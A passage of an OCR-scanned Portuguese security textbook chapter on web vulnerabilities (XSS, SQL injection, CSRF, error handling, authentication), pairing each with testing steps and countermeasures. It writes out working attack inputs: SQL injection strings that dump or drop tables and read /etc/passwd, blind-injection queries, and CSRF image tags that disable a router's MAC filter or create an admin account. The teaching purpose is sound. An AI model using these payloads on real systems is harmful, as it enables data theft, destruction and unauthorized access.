zumbis sendo controlados. Observe-se que o sistema operacional e o navegador
dos zumbis ¢ identificado, assim como o identificador de sessao e a URL do
recurso que carregou o script.

4. A partir desse momento, o atacante pode executar Javascript arbitrdario no
novo zumbi.

6.5.1.3. Testes

Para testar a presenca de vulnerabilidades XSS em uma aplicacao web, o seguinte
roteiro pode ser adotado (Wysopal et al., 2006; Meucci et al., 2008; Stuttard and
Pinto, 2007; Howard et al., 2005):

1. Identifique a superficie de ataque da aplicacao, isto é, todos os campos e pa-
rametros que aceitam informagcoes do usuario ou de fontes externas e que sao
exibidos em alguma das telas do sistema.

2. Para cada item encontrado no primeiro passo, insira algum codigo Javascript
e submeta a requisicao. Adapte a entrada a maneira como ela é utilizada na
geracao da pagina. Por exemplo, se ela for inserida em um elemento, como
<... value="entrada">, o vetor de teste deve primeiramente fecha-lo, antes
da inclusao do cédigo. Uma possibilidade, neste caso especifico, seria utilizar
a cadeia “"><script>...</script>”.
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Figura 6.6. Tela de gerenciamento do BeEF com dois zumbis sob controle.

3. Verifique se o valor de teste aparece integralmente no HTML gerado ou se é
tratado, antes de ser concatenado. Se houver filtros de protecao, retorne ao
segundo passo e empregue cada um dos vetores disponiveis em http://ha.
ckers.org/xss.html, até obter sucesso ou exaurir todas as opgoes.

6.5.1.4. Contramedidas

Recapitulando, a causa raiz do XSS é que codigo fornecido por um usudario malicioso é
diretamente utilizado na construcao de paginas dinamicas, sem o devido tratamento.
Isso faz com que ele seja inserido no meio de HT'ML puro e entendido de acordo com
as marcagoes utilizadas. Tendo isso em mente, as contramedidas tornam-se claras:

1. Considere que toda informagao fornecida por usuérios é maliciosa e, assim,
antes de processa-la, verifique se ela esta de acordo com valores reconhecida-
mente validos para o campo ou parametro. E importante mencionar que esta
abordagem é superior ao uso de listas negras, pois, dificilmente, é possivel enu-
merar todas as entradas perniciosas possiveis. Complementarmente, restrinja
o tamanho do campo ao maximo permitido.

2. Utilize codificacao HTML na saida, o que faz com que caracteres potencial-
mente perigosos sejam tratados como parte do contetido da pagina HTML,
em vez de considerados parte da estrutura (Stuttard and Pinto, 2007; van der
Stock et al., 2008). Por exemplo, o texto <script> seria inserido na pégina
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como &lt;script&gt;, uma vez codificado. A Tabela 6.2 d4 o mapeamento
para os principais caracteres problematicos.

Tabela 6.2. Codificacao HTML.

Caractere " ’ & < >
Entidade | &quot; | &apos; | &amp; | &lt; | &gt;

6.5.2. Injecao de SQL

6.5.2.1. Descricao e Causas

Injecao de SQL é, depois de cross site scripting, a vulnerabilidade mais comum
em aplicagoes web, nos dias atuais (Stuttard and Pinto, 2007; Howard et al., 2005;
SANS, 2008b,a). Consiste em injetar cédigo SQL, em campos e parametros da apli-
cacao, com o objetivo de que seja executado na camada de dados. Em ataques
mais simples, é possivel realizar qualquer operagao no banco de dados, limitada aos
privilégios da conta que realiza o acesso. Mas, considerando que ¢ tipico que contas
administrativas sejam utilizadas nos sistemas, nao ha restricoes quanto ao que pode
ser feito, na pratica. Além disso, com um pouco mais de elaboracao, pode-se apro-
veitar os mecanismos de interagao com o sistema operacional, existentes em bancos
de dados, para leitura/escrita de arquivos e execugao de comandos arbitrarios.

A principal causa do problema é que dados fornecidos por um usudrio sao
diretamente concatenados na construcao do comando SQL a ser executado pelo
sistema gerenciador de banco de dados, sem um tratamento adequado. Exempli-
ficando, considere-se uma aplicacao que aceite como entrada um sobrenome e que
liste os nuimeros de cartao de crédito associados a ele, por meio de uma consulta
construida da seguinte maneira:

sComando = "select * from user_data
where last_name = ’" +
inputLastName + "’"

Se um usuario fornecer um valor comum para o campo inputLastName, como
“Smith”, por exemplo, a aplicagdo segue o curso normal de operagao, realizando a
consulta abaixo ao banco de dados e exibindo os resultados conforme a Figura 6.7:

select * from user_data where last_name = ’Smith’

Note-se que o valor digitado pelo usuario foi concatenado sem modificagdes na con-
sulta. O que aconteceria se, em vez de um dado valido, ele entrasse com a cadeia
de caracteres “ > or 1=1; --"7 A consulta resultante seria:

select * from user_data
where last_name = ’’ or 1=1; -’
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Figura 6.7. Operacao normal de uma aplicacao.
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Figura 6.8. Dados extraidos por meio de injecdo de SQL.

7

Neste caso, a clausula where é sempre verdadeira, pois a expressao “1=1" é
uma tautologia e, assim, a consulta retorna todos os dados da tabela user_data,
como pode ser observado na Figura 6.8. Perceba-se que os dois hifens no final da
entrada foram fornecidos para comentar o resto da linha e evitar erros de comando
mal formado.

Um exemplo mais contundente de ataque consiste no fornecimento da entrada
’; drop table user_data; --", que causa a remocao da tabela user_data, caso
o usuario utilizado para conexao ao banco possua os privilégios necessarios. E claro
que, para realizar este ataque e outros similares, o usuario malicioso necessitaria
conhecer a estrutura de tabelas e demais objetos do banco. Mas essas informa-
¢oes, muitas vezes, sao fornecidas gratuitamente em mensagens de erros, conforme
explicado na Secao 6.5.4.

(13

Do acima exposto, pode-se concluir, equivocadamente, que se os erros forem
tratados antes de exibidos ao usudrio, atacantes terao as acoes limitadas, por des-
conhecimento da estrutura do banco. Ora, seguranga é algo que deve ser realizado
em camadas e, portanto, essa medida deve ser adotada. Mas a triste verdade é
que, se os defeitos mais fundamentais, como a falta de validagao da entrada e a
maneira como as consultas sao construidas, nao forem corrigidos, a aplicacao ainda
continuard vulneravel a injecao de SQL! E, nessa situagao, uma variante do ataque,
conhecida como Injegao de SQL as Cegas (Spett, 2003), pode ser empregada
para recuperar a estrutura e o conteido do banco. Esta técnica sera explicada no
Cenério 2 da Secao 6.5.2.2.
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6.5.2.2. Cenarios de Exploracao

Cenario 1: Acesso ao sistema de arquivos

Cada sistema gerenciador de banco de dados, normalmente, possui um conjunto de
rotinas embutidas, que permitem interagir com o sistema operacional e podem ser
chamadas como parte de um comando SQL. Um exemplo famoso é o xp_cmdshell do
SQL Server, que permite efetuar as mesmas tarefas que as possiveis em um shell do
Windows (SANS, 2008a). Logo, por meio dele, um usudrio é capaz de iniciar e parar
servigos, remover arquivos e executar comandos arbitrarios no sistema operacional.
Outro exemplo interessante sao os mecanismos que permitem ler e escrever o sistema
de arquivos e que estao sumarizados na Tabela 6.3.

Tabela 6.3. Mecanismos para acesso ao sistema de arquivos.

’ SGBD | Mecanismo

MySQL load_file()

Oracle UTL_FILE

DB2 import from, export to

SQL Server | BULK INSERT <tabela> FROM <arquivo>

Considere-se, entao, uma aplicacao que utiliza um SGBD MySQL, executado

em plataforma Linux, e que exibe um relatério, com base no valor digitado pelo usua-
rio em um campo de busca. Observe-se como um usudrio malicioso pode aproveitar
a vulnerabilidade da aplicagao para acessar arquivos no sistema operacional:

1. O usuério malicioso coloca o caractere

Wyn

no campo de busca e submete a
requisicao. A aplicacao retorna uma mensagem informando erro de sintaxe e
que o manual do MySQL deve ser consultado. Neste ponto, obtém-se o conhe-
cimento do SGBD utilizado e que a aplicacao, provavelmente, é vulneravel a
injecao SQL.

O atacante envia nova requisi¢ao, mas desta vez com um valor valido, e recebe
um relatério contendo uma coluna alfanumérica e outra numérica. A informa-
¢ao do numero de colunas e o tipo delas é fundamental para a execucao do
passo seguinte.

. O atacante coloca o seguinte texto no campo de busca e envia a solicitacao:

> union select load_file(’/etc/passwd’),1 #

. A aplicacao recebe a entrada e executa o comando injetado load_file, res-

ponsavel, neste cenario, pela leitura do arquivo /etc/passwd, cujo conteido
¢ incluido no relatério exibido ao atacante. Note-se que o comando select
é escrito com duas colunas, para ser possivel realizar a uniao com as tuplas
obtidas da consulta original. O simbolo #, por sua vez, é empregado para
comentar o resto da linha sendo concatenada.
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Cenario 2: Injecao de SQL as cegas

O presente cenario considera uma aplicacao com um unico campo, para entrada de
um numero de conta bancaria. Sabe-se que a consulta realizada, quando o formulario
¢ submetido, ¢ feita a um SGBD MySQL, sobre a tabela user_data, que possui as
colunas first_name e userid. O objetivo do problema é encontrar o primeiro nome
do cliente com identificador 15613:

1. O usuéario malicioso fornece varias entradas, como ilustrado na Figura 6.9, e
verifica o resultado das solicitagoes. O item (A) indica que a aplica¢ao deve ser
vulneravel a injecao de SQL; o (B) mostra a mensagem informada quando a
clausula where ¢é avaliada como falsa, ao contrério de (C); por fim, o teste (D)
mostra que é possivel colocar expressoes logicas, apds o nimero de conta, que,
se verdadeiras, retornam a mensagem de conta valida. Isto permite realizar
perguntas booleanas ao banco de dados e é o cerne de injecao de SQL as cegas.

Enter your Account Murmnber: |' Gal Enter your Account Number: |B00 Gol
Invalid account nurmber

An error occurred, please try again, A

Enter your Account Mumber: | 101 Gol Enter your Account Number: [1071 and 1=1 Gol

Account number is valid Account nurnber is valid

Figura 6.9. Mensagens exibidas em resposta a diversas entradas.

2. O préximo passo é descobrir o comprimento do primeiro nome do cliente alvo.
Para isso, o campo ¢é preenchido com o seguinte valor:

500 or userid=15613 and char_length(first_name)=3
O numero de conta 500 é avaliado sempre como falso, conforme item (B) da

Figura 6.9. Isso implica que a expressao so sera verdadeira, quando o segundo
operando do “or” também for. O resultado da submissao esta ilustrado a seguir:

Enter your Account Murnber: |500 or userid=15613 anc

Invalid account nurmber

Figura 6.10. Teste de comprimento do nome igual a trés.

3. O atacante muda o valor de char_length() para 4 e 5 e obtém a mesma
mensagem, até que testa o valor 6, quando obtém “Account number is valid”.
Isso significa que, para o userid=15613, o comprimento do campo first_name
é seis:
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500 or userid=15613 and char_length(first_name)=6

4. Agora, é necessario descobrir o valor de cada uma das letras que compoem o

nome do cliente. Para isso, serao utilizadas as fungoes ascii() e substring()
que retornam, respectivamente, o valor ASCII do parametro e uma subcadeia
da cadeia de caracteres fornecida. A entrada que deve ser utilizada é:

500 or userid=15613 and ascii(substring(first_name,1,1))=65

No valor acima, a segunda parte do “and” verifica se o codigo ASCII do primeiro
caractere do nome do cliente é 65 (letra A maiuscula). Ao submeter este valor,
obtém-se a mensagem “Invalid account number”; que significa que a hipétese
estd incorreta. Este procedimento é repetido, aumentando-se o valor 65 de
uma em uma unidade, até receber a mensagem “Account number is valid”, no

caso, com a letra “J” (ASCII 74).

Esse processo é repetido para cada um dos demais caracteres do nome do
cliente, mas trocando a faixa de valores ASCII testados para o intervalo que
vai de 97 a 122 (letras mintsculas). Ao final das iteragoes, chega-se ao resultado
“Joesph”.

E importante observar, primeiramente, que uma busca binédria no espaco de

caracteres é mais eficiente que a busca linear realizada. Em segundo lugar, esse tipo
de ataque requer automatizacao, pois sao muitos os passos que devem ser executados
para a extragao de uma unica informacao.

6.5.2.3. Testes

A melhor maneira de realizar testes em uma aplicacao, para detectar se sao vul-
neraveis a injecao de SQL, é por meio de ferramentas automatizadas. Contudo, é
importante saber como um teste manual pode ser executado (Meucci et al., 2008):

1. Identifique a superficie de ataque da aplicacao, isto é, todos os campos e pa-

rametros que aceitam informacgoes do usuario ou de fontes externas e que sao
utilizados na construcao dinamica de comandos SQL.

Fornega, para cada um dos campos ou parametros, delimitadores de cadeias de
caracteres ou um ponto-e-virgula. Esses valores resultarao em consultas mal
formadas, caso a aplicagao seja vulneravel, e, se erros nao forem capturados,
eles serao direcionados ao usuario. Muitas vezes, essas mensagens de erro
contém informagoes importantes, para o direcionamento de um ataque, como,
por exemplo, o fornecedor do banco de dados utilizado ou o préprio comando
SQL executado.

Se a aplicagao filtrar as mensagens de erro, os campos e parametros devem ser
testados, utilizando-se técnicas de injecao de SQL as cegas, conforme descrito
na Secao 6.5.2.2.
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6.5.2.4. Contramedidas

Para evitar que aplicagdes web sejam vulneraveis a ataques de injecao de SQL, os
seguintes controles devem ser adotados no processo de desenvolvimento:

1. Considere que toda informacao fornecida por usuarios é maliciosa e, assim,
antes de processa-la, verifique se ela esta de acordo com valores reconhecida-
mente validos para o campo ou parametro. E importante mencionar que esta
abordagem ¢ superior ao uso de listas negras, pois, dificilmente, é possivel enu-
merar todas as entradas perniciosas possiveis. Complementarmente, restrinja
o tamanho do campo ao maximo permitido.

2. Nao submeta consultas ao banco de dados que sejam resultantes da concate-
nacao de entradas fornecidas por usudrios com o comando a ser executado.

3. Utilize apenas comandos preparados (prepared statements), os quais sdo pré-
compilados e permitem apenas a definicao de parametros em posicoes bem
definidas. Desse modo, qualquer comando fornecido por um usuario malicioso,
como parte da entrada, sera interpretado como um dado pelo SGBD.

4. Realize o acesso a camada de dados, por meio de procedimentos definidos no
banco de dados, encapsulando, assim, a estrutura das tabelas que compoem a
aplicacao.

5. Capture todos os erros de execucao e fornega apenas mensagens tratadas aos
usuarios, isto é, nao exiba erros contendo comandos SQL, pilhas de execucao
e codigos especificos de plataforma.

6. Utilize na aplicacao uma conta para acesso ao banco de dados com os minimos
privilégios necessarios a execugao das tarefas. Nunca use contas com privilégios
DDL (Data Definition Language) e, muito menos, contas administrativas. Se
isso nao for respeitado, a extensao do dano, em caso de ataque bem sucedido,
poderd ser muito maior, uma vez que o atacante sera capaz de remover, incluir
e alterar objetos estruturais, como tabelas e indices, por exemplo.

7. Realize o robustecimento do SGBD, eliminando objetos, usuérios e privilégios
desnecessarios. Por exemplo, em versoes mais antigas de Oracle, muitos paco-
tes vinham com privilégio de execucao concedido para PUBLIC, por padrao.
Como no item acima, a idéia deste controle é diminuir a extensao do dano,
caso as linhas de defesa falhem.

6.5.3. Cross Site Request Forgery
6.5.3.1. Descricao e Causas
Cross Site Request Forgery (CSRF) é um ataque que aproveita-se de uma sessao de

usuario ja estabelecida na aplicacao vulneravel, para realizar acoes automatizadas,
sem o conhecimento e consentimento da vitima. Exemplos de operagoes que podem
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ser executadas variam de um simples encerramento de sessao até a transferéncia de
fundos em uma aplicagao bancéria. Na literatura, também é conhecido por diversos
outros nomes, como XSRF, Session Riding, ataque One-Click e Cross Site Reference
Forgery, os quais representam bem a natureza do problema, que estd fundamentado
em trés pilares principais (Meucci et al., 2008):

e Cookies e cabecalhos de autorizagao de usuarios autenticados em uma aplica-
¢ao web sao enviados automaticamente pelos navegadores em quaisquer requi-
sicoes feitas a ela.

e Uso de estrutura de URLs invariavel, isto é, cada recurso da aplicagao é sempre
acessado pela mesma URL.

e A aplicacdo autoriza/nega que um usudrio acesse um recurso, apenas com base
em informagoes de sessao que sao enviadas automaticamente pelos navegado-
res, conforme o primeiro item.

Esses trés pontos podem ser explorados por um ataque CSRF da maneira
ilustrada na Figura 6.11, cujas etapas sao abaixo esclarecidas:

Www.app.com
Vitima

Usuario + senha

(1
Identificador de sesséao (SID) 2
<a href="http://www.app.com/proc.js?acao=10">
Clique aqui</a>
(3)

SID + hitp://www.app.com/proc.js7acao=10 @

4

Acao "10" realizada com sucesso!
(3)

Figura 6.11. Passos de um ataque CSRF.

1. Usudrio acessa a aplicacao web e informa o identificador e senha para autenticar-
se e poder utilizar opcoes protegidas do sistema.

2. A aplicacao verifica as credenciais e, caso estejam corretas, atribui um identi-
ficador tinico a sessao do usudrio, na forma de um cookie. Este sera enviado
pelo navegador em todas as requisi¢oes seguintes que forem feitas ao sistema.
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3. Um usuario malicioso, que conhece a estrutura das URLs da aplicacao, envia
uma mensagem a vitima, contendo um link para execucao de uma agao no
sistema. Note-se que, com essa abordagem, o usuario deve ser induzido a clicar
no link, para que o ataque funcione. Logo, é mais eficaz utilizar marcadores
HTML que realizem as requisi¢oes, sem intervencao humana, como é o caso
de imagens.

4. A vitima abre uma nova janela do mesmo navegador que esta usando no acesso
a aplicacao, para ler as mensagens de correio eletronico. Nisso, acessa a mensa-
gem maliciosa e clica no link fornecido. O navegador, entao, efetua a requisicao
a aplicacao e envia as credenciais do usuario.

5. A aplicacao atende a requisicao, pois nao tem como discerni-la de uma solici-
tacao legitima, feita pela propria interface.

Note-se que em um ataque de cross site scripting, explora-se a confianca
depositada pelo usudrio no site. No caso de cross site request forgery ocorre o

contrario: o que é abusada ¢é a confianca que a aplicacao tem no cliente ja autenticado
(SANS, 2008b).

6.5.3.2. Cenarios de Exploracao

Cenario 1: Desativagao do filtro de MAC de um AP

Este cenario é baseado em um ponto de acesso sem fio real, que utiliza uma interface
web para gerenciamento, como a grande maioria desses dispositivos. A aplicacdo em-
prega o método de autenticacao basica do protocolo HTTP e as requisicoes sao feitas
todas por meio do método POST. Uma das diversas funcionalidades apresentadas
pelo equipamento é o controle de acesso por meio do endereco MAC do cliente, que
precisa estar pré-cadastrado para conseguir conectar-se. A Figura 6.12 ilustra a in-
terface para desativacao desse servigo e o formato da requisicao gerada, quando o
administrador clica em “Apply”.

Edit Request
Filters are used to allow or deny LAN users from accessing the Internet. Intercept requests : Intercept responses : [
© IP Filters @ MAC Filters Parsed | Raw
Method URL Version
FOST |http'111 92.168.0.1:80/ady_filters_mac.cgi | ‘H'ITF'H 1
Use MAC address to allow or deny computers access to the network. =

URLEncoded | Text | Hex

8! Disabled MAC Filters ;
© Only allow computers with MAC address listed below to access the network iR At K el -
) Only deny computers with MAC address listed below to access the network Hdelrou 1
filters 1
Name racFter 0
name Insert
MAC Address - - - - - mact este
mac
mac3
DHCP Client [+][ clone rnacd
macs H
900 -
Apply Cancel Help Ac.. | cancelchanges | bortrequest | | cancelnLLi

Figura 6.12. Estrutura da requisicdo para desativacao do filtro de MAC.
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Com um teste simples, é facil constatar que a requisicao pode ser feita tam-
bém por meio do método GET. Embora isso nao seja um pré-requisito para que
um ataque de cross site request forgery aconteca, facilita muito a vida do atacante.
Observe-se, também, que, aparentemente, nao ha parametros que sejam funcao da
sessao estabelecida, o que implica que a URL para realizar a operacao segue uma
estrutura fixa. Com base nessas informagcoes todas, um ataque pode proceder da
seguinte maneira:

1. O administrador do ponto de acesso sem fio se autentica na aplicacao de ge-
renciamento, utilizando um navegador X.

2. O atacante envia um e-mail em HTML ao administrador contendo o seguinte
elemento:

<img src="http://192.168.0.1:80/adv_filters_mac.cgi?
editRow=-1&delrow=-1&filters=1&macFilter=0&name=§&
macl=&mac2=&mac3=&mac4=&machb=&mac6=" />

3. Com a aplicacao de gerenciamento ainda aberta, o administrador acessa a
conta de e-mail, usando o mesmo navegador X, e lé a mensagem maliciosa.
Quando esta é exibida, a imagem é carregada, automaticamente, e, com isso,
a requisicao para desativacao do filtro de MAC é enviada ao ponto de acesso,
juntamente com as credenciais do usuario. Como estas estao corretas, a apli-
cagao atende a solicitacao, e o ataque é finalizado com sucesso.

Cenario 2: Aplicagao vulneravel a XSS e CSRF

Uma aplicacao que seja vulneravel a ataques XSS e CSRF simultaneamente per-
mite que a exploracao combinada dos problemas seja utilizada contra ela mesma.
Imagine-se, por exemplo, uma aplicacao para administracao do controle de acesso
l6gico, com funcionalidades para criagao de contas, atribuicao de privilégios, criagao
de perfis e, também, que possibilite que usudrios enviem solicitagoes de servigos,
por meio de uma pagina do proprio sistema, susceptivel a XSS. Observe-se que,
neste cenario, dada a integracao dos moédulos, o administrador estara sempre co-
nectado, enquanto verifica os pedidos encaminhados. Um usuario malicioso pode
aproveitar-se da situagao como segue:

1. O usudrio malicioso envia uma solicitacao ao administrador e inclui, no campo
vulneravel a XSS, o seguinte elemento:

<img src="http://intranet/criaUsuario.php?id=evil&pwd=facil&
perfil=administrador">

2. O administrador abre o pedido do atacante e, automaticamente, a requisicao é
feita a aplicacao, com as credenciais do primeiro. Pelos parametros, percebe-se
que a acgao resultara na criacao de um usuario com perfil administrativo, cuja
senha é conhecida pelo atacante.
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6.5.3.3. Testes

Testes para deteccao de vulnerabilidades que permitem ataques CSRF sao realizados
manualmente e seguem o roteiro abaixo (SANS, 2008b,a):

1. Habilite um prozxy local para interceptar as requisicoes feitas a aplicacao.
2. Autentique-se no sistema e percorra as diversas areas protegidas.

3. Para cada requisicao, identifique os parametros e construa uma pagina HTML
para efetuar a mesma solicitacao.

4. Abra a pagina criada em uma nova janela e verifique se a agao foi realizada
pela aplicacao, automaticamente.

6.5.3.4. Contramedidas

Abaixo seguem as principais contramedidas contra ataques CSRF, sendo que as trés
primeiras sao aspectos de implementacao e as duas iltimas, boas praticas para os
usuarios:

1. Utilize informacoes relacionadas a cada sessao nas URLs e verifique-as, quando
uma requisicao for realizada. Isso evita que se saiba de antemao o formato da
URL, o que é necessario para montar o ataque.

2. Solicite que o usuario se reautentique, antes de realizar operagoes criticas.
Desse modo, caso uma requisigao seja feita automaticamente, como parte de
um CSRF, a operagao nao serd realizada.

3. Utilize o método POST em vez de GET. Embora isso nao seja, nem de longe,
uma solucao completa, dificulta um pouco a vida do atacante eventual.

4. Nao permita que o navegador armazene credenciais de acesso, pois elas seriam
enviadas automaticamente em um ataque desse tipo.

5. Nao utilize o mesmo navegador para acessar sistemas criticos e para navegar
na Internet.

6.5.4. Tratamento Inadequado de Erros

6.5.4.1. Descricao e Causas

Uma aplicacao que nao trata adequadamente os erros que ocorrem estd sujeita a
diversos riscos de seguranca, incluindo indisponibilidade e quebra de mecanismos
de protecao. O mais comum, entretanto, é que a situagao facilite o levantamento
de informacgoes do sistema, fundamentais para se tracar uma estratégia eficiente
de ataque. Por exemplo, se o sistema gerenciador de bancos de dados utilizado é
conhecido, nao faz sentido perder tempo, efetuando ataques que funcionam especi-
ficamente para outros SGBDs.
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(= The page cannot be found - Windows Internet Explorer E@@
G~ e ) £l
r ) . >
i Favoritos | (@8 The page cannot b found N B o = v Pagina v
The page cannot be found
The page you are looking for might have been removed, had its name changed, or
is temporarily unavailable.
Please try the following:
o+ Make sure that the Web site address displayed in the address bar of your
browser is cpelled and farmatted correctly.
s If you reached thic page by clicking a link, contact the Web site Enter your last name: |' Gol
administrator to alert them that the link is incorrectly formatted.
s Click the Back button to try another link.
. " v
TP Error 404 - File or directory not found. Unexpected snd of cammand in statement [SELECT * FROM user_data WHERE last_nams = ']
Internet Information Services (I15)
Technical Information (for support personnel)
* Go to Microsoft Product Support Services and perform a title search for the
words HTTP and 404.
+ Open IIS Help, which is accessible in IIS Manager (inetmgr), and search
for topics titled Web Site Setup, Commeon Administrative Tasks, and
About Custom Error Messages.
€ Internet i v Hiook v

Figura 6.13. Exemplos de erros.

Essas situagoes podem resultar das seguintes praticas (Howard et al., 2005):

e Fornecer muitas informagoes — caso um erro aconteca, a aplicacao da detalhes

do ocorrido, inclusive o c¢6digo ou comando que gerou o problema e, as ve-
zes, como resolvé-lo. Nesse contexto, a Figura 6.13 ilustra um servidor web
mal configurado, que revela o fabricante, em uma mensagem de erro, e uma
aplicacao que mostra o comando SQL executado, com problema de sintaxe.

Ignorar erros — os codigos de erro devolvidos pelas funcgoes sao ignorados e
fungoes dependentes sao chamadas sem que eles sejam verificados. Normal-
mente, isso causa o encerramento da aplicacao, porque uma pré-condicao para
execucao de uma rotina nao estd satisfeita.

Tratar todas as excecoes de maneira genérica — um mecanismo genérico ¢é
utilizado para o tratamento de erros, inclusive aqueles que a aplicagao nao tem
nem idéia de como lidar. Isso pode esconder problemas de légica, deixando-os
latentes, até que uma situacao especifica ocorra e resulte em uma falha.

6.5.4.2. Cenarios de Exploracao

Cenario 1: Quebrando mecanismo de autenticagao
Considere-se a aplicagao ilustrada na Figura 6.14, que permite acesso as dreas sensi-
veis, somente aos usuarios devidamente autenticados e autorizados. Observe-se que
o identificador de usudrio e senha sao enviados em dois parametros distintos, por
meio do método POST, quando o botao “Login” é clicado.

O objetivo é violar o mecanismo de autenticacao e conseguir conectar-se

a aplicacao sem conhecimento de usudario e senha vélidos. Um ponto de partida
para esse fim é o fato de que muitas aplicagoes, em situagoes de erro inesperadas,
falham e ficam em um estado inseguro. Uma abordagem, entao, é remover um dos
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Intercept requests : Intercept responses : [_|
Parsed | Raw
Sign In =
Please sign in to your account. See the OWASP admin if you do not have Method URL Version
an account. PoST | [hitntiocalhost 8080/MWeh Goatiatack?Soreen=60d [HTTPA 1 |
*Required Fields e
URLEncoded | Text | Hex
Variale Walue
*Password: l:l Username wrebgoat
Password e
2ol SUBMIT Lagin Delete
| nc. | cancerchanges | mvortreuest | | canceraii

Figura 6.14. Tela de autenticacao e formato da requisicao.

parametros esperados pela aplicacao, antes de submeter-lhe a requisicao, e observar
o comportamento adotado. Com esse proposito, o atacante habilita um proxy, para
interceptar e modificar a solicitagao, antes que seja enviada, conforme ilustrado na
Figura 6.15. Neste caso especifico, isso basta para um ataque bem sucedido.

B Edit Request E”El El

Intercept requests : Intercept responses : [ |
l/ Parsed | Raw
Method URL \ersion * Congratulations. You have successfully completed this lesson.
POST |ht1p:IJ‘IucaIhust:EDBDJWebGuaUatlack”Screen:d |H'ITF‘I1.1 |
— Welcomne, weboat
URLEncoded r Text r Hex D Tou have been authenticated with Fail Open Error Handling
Wariahle Walue Logout
Username waboat Insert Refresh
SUBMIT Login Delete
A.. I Cancel changes | Abort request | ‘ Cancel ALL i

Figura 6.15. Requisicao sem o parametro “Password”.

6.5.4.3. Testes

Segundo Howard et al. (2005), a melhor maneira de detectar esse problema é por
meio de inspecao de codigo, pois é dificil fazer a aplicacao falhar de maneira sistema-

tica, em todos os casos. Apesar disso, alguns erros mais comuns podem ser testados
com certa facilidade:

1. Para verificar se um servidor web exibe informacgoes de fornecedor e versao,
acesse o dominio, a partir de um navegador, e coloque como recurso desejado
um valor aleatério como em http://www.exemplo.com/fsfdsa. Se nao estiver

bem configurado, a pagina de erro padrao sera exibida, juntamente com os
dados desejados.

2. Verifique se campos de busca sao vulneraveis a injecao de SQL e, assim, se é
possivel obter informacoes das estruturas das tabelas.

265
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3. Navegue na aplicagao e veja o que ocorre, quando parametros enviados em
requisicoes sao deliberadamente removidos.

6.5.4.4. Contramedidas

O objetivo desses controles é fornecer o minimo de informacao possivel para um
usudrio malicioso e manter a aplicacao em um estado seguro, frente a situacoes
inesperadas de erro:

1. Trate todo erro que ocorrer na aplicacao e nao exiba informacoes internas como
pilhas de execucao, comandos SQL e descricao da infra-estrutura de suporte.

2. Falhe de maneira segura, isto é, se uma situacao inesperada ocorrer, mantenha-
se em um estado seguro. Por exemplo, caso um erro no processo de autenti-
cagao ocorra, proiba o acesso.

3. Nao forneca informagoes desnecessarias ao usudrio, em nome da usabilidade.
Em uma tela de autenticacao, por exemplo, independentemente do usuario
nao existir ou da senha estar incorreta, exiba a mesma mensagem de erro,
informando que as credenciais fornecidas sao invalidas.

4. Configure as plataformas da aplicacao, como bancos de dados e servidores web,
para nao fornecerem informagcoes padronizadas de erro contendo, marca,versao
do software, ou quaisquer dados de identificacao do ambiente.

6.5.5. Falhas no Gerenciamento de Autenticagcao e Sessao

6.5.5.1. Descricao e Causas

Vulnerabilidades no processo de autenticacao e no gerenciamento de sessoes permi-
tem acesso ilegitimo a aplicacao, seja pela porta da frente, por meio do fornecimento
de credenciais vélidas de outro usudrio, ou pela lateral, seqiiestrando uma sessao ja
em andamento. Em qualquer dos casos, o atacante tera acesso nao autorizado as
informacoes da vitima e podera realizar agoes em nome dela. O problema torna-se
muito mais critico, se a conta comprometida tiver privilégios administrativos (Meucci
et al., 2008; Stuttard and Pinto, 2007).

Muitas aplicagoes web submetem credenciais de acesso, por meio do protocolo
HTTP, sem protecao nenhuma. Desse modo, essas informagoes podem ser facilmente
capturadas, até chegarem ao servidor, e utilizadas para autenticar-se no sistema.
Para exemplificar, até ha bem pouco tempo atras, diversos sites de correio eletronico
funcionavam dessa maneira. Hoje em dia, isso melhorou muito, mas sao poucos os
que protegem a sessao inteira por meio do protocolo HT'TPS. Isso implica que os
identificadores de sessao podem ser obtidos pela escuta da rede, apds a autenticagao,
e usados para seqiiestrar uma sessao.

Uma das técnicas que podem ser empregadas para quebrar o mecanismo de
autenticacao € o ataque por forca bruta, isto é, testar, para um conjunto de identifica-
dores, todas as senhas possiveis, ou as presentes num dicionédrio. O ponto de partida,
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entao, é conseguir enumerar alguns usuarios da aplicacao, o que pode ser facilitado,
se sao empregados identificadores faceis de adivinhar ou contas pré-instaladas. Outra
via muito comum até este objetivo consiste em explorar mecanismos de autenticacao
que exibem mensagens diferentes para eventos de senha incorreta e usuario inexis-
tente. Basta fornecer diversos nomes de usudrio e senha e observar a resposta do
sistema. Ainda que esse primeiro passo seja dado pelo usuario malicioso, para o
ataque funcionar, a aplicagado precisa ser incapaz de travar a conta por multiplas
tentativas invalidas de autenticacao e, também, nao implementar uma politica de
senhas fortes.

Cuidados devem ser tomados para evitar que o mecanismo de autenticagao
seja ignorado. Um deslize comum, nesse sentido, é criar uma péagina de autenticagao
que, em caso de sucesso, redireciona o usudrio para areas protegidas da aplicacgao,
mas nao controla o acesso direto a essas paginas, sem passar pela tela inicial. Nesta
mesma linha, algumas aplicagoes podem ser enganadas, pela simples manipulacao de
parametros. Por exemplo, um usudrio malicioso pode trocar autenticado=nao para
autenticado=sim, em um campo escondido. Por fim, erros de légica no mecanismo
de autenticacao podem por tudo a perder.

Mecanismos de recuperacao e troca de senhas podem, muitas vezes, ser um
caminho para dentro da aplicacao. Alguns erros que devem ser evitados no primeiro
caso compreendem: utilizacao de perguntas secretas com respostas faceis de serem
adivinhadas; inexisténcia de mecanismo de travamento por tentativas invalidas; e,
exibi¢ao da senha atual, caso o usuario responda corretamente as perguntas secretas.
Ja com relagao a troca de senhas, ataques sao possiveis quando a senha antiga nao
¢ solicitada, antes da realizagao da operacao.

Vulnerabilidades envolvendo o gerenciamento de sessoes envolvem a quali-
dade e a protecao dos identificadores de sessao. Valores previsiveis permitem que
um atacante se conecte ao sistema e possa tomar a sessao de outros usuarios, sim-
plesmente, substituindo o identificador de sessao a ele atribuido por um outro valido
qualquer. A Figura 6.16 ilustra uma série de mil identificadores, com baixa alea-
toriedade, e, portanto, vulneravel. Se a aplicagao aceitar identificadores definidos
por usuarios, ataques de fixacao podem ser realizados, e o atacante nao precisa nem
descobrir valores validos.

Um problema comum no procedimento de encerramento de sessao é nao inva-
lidar o identificador de sessao no lado do servidor. Muitas vezes, a aplicacao apenas
redireciona o usuario para uma pagina externa a area protegida, mas a sessao con-
tinua ativa. Nesse caso, requisicoes realizadas com o identificador continuam a ser
atendidas pelo sistema.

6.5.5.2. Cenarios de Exploracao

Cenario 1: Mecanismo de autenticacao com erro de légica

